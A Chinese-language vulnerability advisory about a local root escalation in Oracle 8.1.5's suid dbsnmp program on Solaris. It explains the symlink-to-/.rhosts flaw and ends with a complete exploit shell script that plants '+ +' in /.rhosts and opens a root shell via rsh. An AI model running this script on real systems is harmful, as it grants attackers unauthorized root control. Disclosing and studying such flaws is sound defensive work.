综述:
Oracle 8.1.5 for UN*X存在普通用户可以得到root权限的漏洞。
检验环境:
Oracle 8.1.5 on Solaris 2.6 SPARC 版本。
漏洞详细描述:
如果没有设置ORACLE_HOME,运行dbsnmp(缺省设置suid root/sgid dba)时会在 当前目录下产生两个log文 件:dbsnmpc 和 dbsnmpt 。如果这两个文件不存在,dbsnmpd将会创建属性为666、大 小为400字节左右这两个文 件。如果这两个文件存在,dbsnmp将不改变此文件属性,并将400字节左右的输出内容 附加到这两个文件中。如 果root没有设置.rhosts文件,就可以通过创建一个/tmp/dbsnmpc 到 /.rhosts的符号 连接来得到root权限。
检验程序:
oracle8% uname -a; id SunOS oracle8 5.6 Generic_105181-05 sun4u sparc SUNW,Ultra-5_10 uid=102(btellier) gid=10(staff) oracle8% /tmp/oracle.sh couldn't read file "/config/nmiconf.tcl": no such file or directory Failed to initialize nl component,error=462 Failed to initialize nl component,error=462 # --- oracle.sh --- #!/bin/sh # Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others # You'll probably have to change your path to dbsnmp # Exploit will only work if /.rhosts does NOT exist # # Brock Tellier btellier@usa.net cd /tmp unset ORACLE_HOME umask 0000 ln -s /.rhosts /tmp/dbsnmpc.log /u01/app/oracle/product/8.1.5/bin/dbsnmp echo "+ +" > /.rhosts rsh -l root localhost 'sh -i' rsh -l root localhost rm /tmp/*log* rsh -l root localhost rm /.rhosts
|